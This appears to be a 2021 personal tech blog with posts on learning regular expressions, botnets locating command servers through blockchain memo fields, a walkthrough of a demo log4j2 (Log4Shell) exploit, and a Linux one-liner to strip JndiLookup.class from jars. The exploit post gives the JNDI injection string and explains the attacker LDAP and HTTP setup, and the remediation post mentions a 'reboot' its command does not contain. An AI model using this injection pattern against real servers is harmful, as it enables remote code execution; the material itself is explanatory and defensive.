Tuesday, December 28, 2021

The best video I've ever seen for learning Regular Expressions

I've worked with regular expressions for a long time now, and I'm always working on getting better at them. I ran across this 20-minute YouTube video and was really blown away by how quickly it explains everything you need to know about regular expressions. I highly recommend it.

Many of his other videos are also worth your time.

One huge caveat aimed at those in the world of Enterprise Software:

Not all products support all features of the regular expressions described in the video, and there are often nuances to the exact functions that are supported. For example, the following features described in the video aren't supported by various versions of *some* components of Netcool and ServiceNow, depending on which regex engine they use:

- look-ahead and look-behind operations
- named groups

Because of cases like this, I always recommend that you try to accomplish your goal using the simplest regular expression features as possible, and always test your regular expressions. Regexr.com is the site used in the video, and it is very powerful, but it appears to support the latest and greatest JavaScript regular expressions, with no way to change that. Regex101.com is the site I normally use, and it allows you to select one of several "flavors" of regular expressions.

Tuesday, December 14, 2021

Interesting article on the new frontier of botnets identifying C2 servers using "memo" data in blockchain transactions between known wallets

 The title tells you the gist of the story, but here's the full article:


Basically, the botnet code is written such that if its current C2 (Command and Control) server is down, it will search the public blockchain for transactions between known wallets. Every transaction can have an optional "memo" field, which is where the botnet controllers put the address of other C2 servers.

Example and video of log4j2 exploit

 This is a great example of the exploit in action:


Here's the video showing it in action:


You can run it yourself. On Linux, you'll first have to install the following prereqs:


And you'll also need to modify Main.java before compiling to change the line:

Runtime.getRuntime().exec("cmd.exe /c start echo Exploit");



The pieces that are provided for the exploit are:

- An HTTP server that would be owned by the attacker in the wild. This hosts the Main.class file that is going to display a new window on the server when the exploit fires.
- An LDAP server that would be owned by the attacker in the wild. This is the server queried by the vulnerable JndiLookup.class file, which includes a link to the HTTP server.
- A JVM that represents an application server like WebSphere or Tomcat

Once you feed the JVM the userr-controlled string "${jndi:ldap://}", you'll see that the JVM spits out errors, but still successfully opens a new window. In the wild, this window represents ANY COMMAND THE ATTACKER WANTS TO RUN ON THE SERVER, and it's running as the same userid that's running the JVM. 

Basically, if you didn't already know, this is the worst, and most easily exploited vulnerability that's been found in the wild in a long time.

Monday, December 13, 2021

Quickest log4j2 vulnerability remediation I've found on Linux

 Quickest Linux fix I've found for the #log4j2 vulnerability:

find / -name "log4j-core-*.jar" -exec zip -q -d {} org/apache/logging/log4j/core/lookup/JndiLookup.class \;

The above command will find all files named "log4j-core-*.jar" on the system and will remove the "JndiLookup.class" file from them. The 'reboot' is a fairly large hammer, but it will restart all processes on the box. Alternatively, you can stop and restart all java processes running on the server.